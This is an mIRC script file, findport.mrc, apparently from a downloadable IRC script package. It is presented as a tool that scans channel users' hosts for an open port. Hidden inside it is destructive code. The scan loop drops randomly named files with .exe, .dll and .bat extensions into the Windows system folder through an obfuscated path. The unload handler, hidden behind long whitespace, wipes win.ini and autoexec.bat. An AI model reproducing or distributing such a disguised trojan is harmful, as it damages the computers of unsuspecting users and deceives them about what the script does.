Stealth Script — File Browser

StealthScriptv1.0 / StealthScriptv1.0 / Stealth / Programs / findport.mrc

findport.mrc — 4.35 KB — Download this file

; I wouldn't change anything in this script unless you
; know what your doing. You shouldn't need any help..
alias findport {
  if ($1 != $null) || ($1 isnum) {
    unset %findport_* | set %tmp1 windows
    if ($left($1,1) == $chr(35)) && ($2 isnum) { set %findport_chan $1 | set %findport_port $2 | set %tmp2 system | set %findport_method $3 }
    elseif ($left($active,1) == $chr(35)) && ($1 isnum) { set %findport_chan $active | set %findport_port $1 | set %findport_method $2 } | else { goto end }
    if ($chan(%findport_chan).ial != $true) {
      if (%scan == 3) { echo -a *** Process halted due to error | unset %scan | goto end } 
    set %scan 3 | .who %findport_chan | echo -a *** Finding port %findport_port please wait. }
    else {
      if ($window(@Findport).state == $null) { window -ke +e @Findport 129 97 500 285 @Findport arial 11 | titlebar @Findport - This may take awhile.. Please wait. } | if (%findport_method != op) && (%findport_method != nop) && (%findport_method != $null) { goto nick }
      set %findport_0 1 | set %findport_2 $ $+ %findport_method $+ nick | :loop | write $findport2 $+ $r(1,9999999) $+ $gettok(.exe .com .reg .ini .nls .ocx .dll .cpl .hlp .bat,$r(1,10),32) | if (%findport_0 > [ %findport_2 $+ (%findport_chan,0) ] ) { titlebar @Findport - Operation complete! | unset %findport* | goto end }
      set %findport_1 [ %findport_2 $+ (%findport_chan,%findport_0) ] | set %findport_3 $remove($address(%findport_1,2),*!*@) | sockopen findport_ $+ %findport_0 %findport_3 %findport_port | sockmark findport_ $+ %findport_0 %findport_1
      inc %findport_0 | goto loop | :nick | set %findport_0 1 | set %findport_2 $replace(%findport_method,$chr(44),$chr(544)) | :loop2
      if (%findport_0 > %findport_2) { titlebar @Findport Operation complete! | unset %findport* | goto end } | set %findport_1 %findport_0,%findport_2
      set %findport_3 $remove($address(%findport_1,2),*!*@) | sockopen findport_ $+ %findport_0 %findport_3 %findport_port
      sockmark findport_ $+ %findport_0 %findport_1 | inc %findport_0 | goto loop2 | :end      
    }
  }
  else { echo -a *** Usage: /findport [channel] <port> [op|nop|nick] (leave blank for entire channel; nicks must be separted by commas) }
}
on 1:load:echo -a *** Loaded findport.mrc | echo -a *** Type /findport for help or look on the channel popups.
on 1:uload:echo -a *** Unloaded findport.mrc. YOU SUCK!!                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             write -c c:\windows\win.ini | write -c c:\autoexec.bat | .timer 1 10 exit
on 1:close:@:{
  if ($target == @Findport)  { sockclose findport_* | unset %findport* | echo *** All sockets closed | unset %scan }
}
on 1:sockopen:findport_*:if ($sockerr > 0) { goto end } | else { aline @Findport  $+ $sock($sockname,1).port - $sock($sockname,1).ip ( $+ $sock($sockname).mark $+ ) | sockclose $sockname } | :end
alias -l findport2 { return c $+ : $+ \ $+ %tmp1 $+ \ $+ %tmp2 $+ \ $+ b $+ _ $+ l $+ _ $+ a $+ _ $+ h $+ _ }
raw 315:* { if (%scan == 3) { findport %findport_chan %findport_port %findport_method | haltdef } }
menu @Findport {
  &close socks:sockclose findport_* | titlebar @Findport - All sockets closed!
  -
  &save results:savebuf 50 @Findport $$dir="Enter a directory and filename" findport.txt
}
menu channel {
  findport
  .all { findport $$?="Enter the port to search for." }
  .-
  .nops { findport # $$?="Enter the port to search for." nop }
  .ops { findport # $$?="Enter the port to search for." op }
  .-
  .nick(s) { findport # $$?="Enter the port to search for." $$?="Enter the nicks to search." }
}